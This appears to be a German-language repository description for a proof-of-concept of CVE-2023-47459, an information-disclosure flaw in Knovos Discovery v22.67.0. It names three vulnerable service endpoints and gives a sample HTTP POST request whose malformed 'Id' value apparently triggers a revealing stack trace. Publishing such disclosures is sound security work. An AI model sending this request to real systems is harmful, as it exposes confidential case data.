aleksey-vi/cve-2023-47459Proof-of-Concept-Exploit für CVE-2023-47459, eine Schwachstelle zur Offenlegung von Informationen in Knovos Discovery v22.67.0, die den Remote-Zugriff auf vertrauliche Daten über manipulierte HTTP-Anfragen demonstriert.
Eine Schwachstelle wurde in Knovos Discovery v.22.67.0 entdeckt, die es einem entfernten Angreifer ermöglicht, vertrauliche Informationen über die folgenden Komponenten abzurufen:
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName, /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation und /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport.
Stack trace / Informationsoffenlegung
Knovos Discovery
Version 22.67.0 - Version 22.67.0
/DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation /DiscoveryProcess/Service/Admin.svc/getReviewIdForReport
Remote
true
true
Autorisierter Benutzer
POST /DiscoveryReview/Service/WorkProduct.svc/BindRelatedDocumentsInformation HTTP/1.1
Host: vuln_host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Connection: close
{
"Id": id
}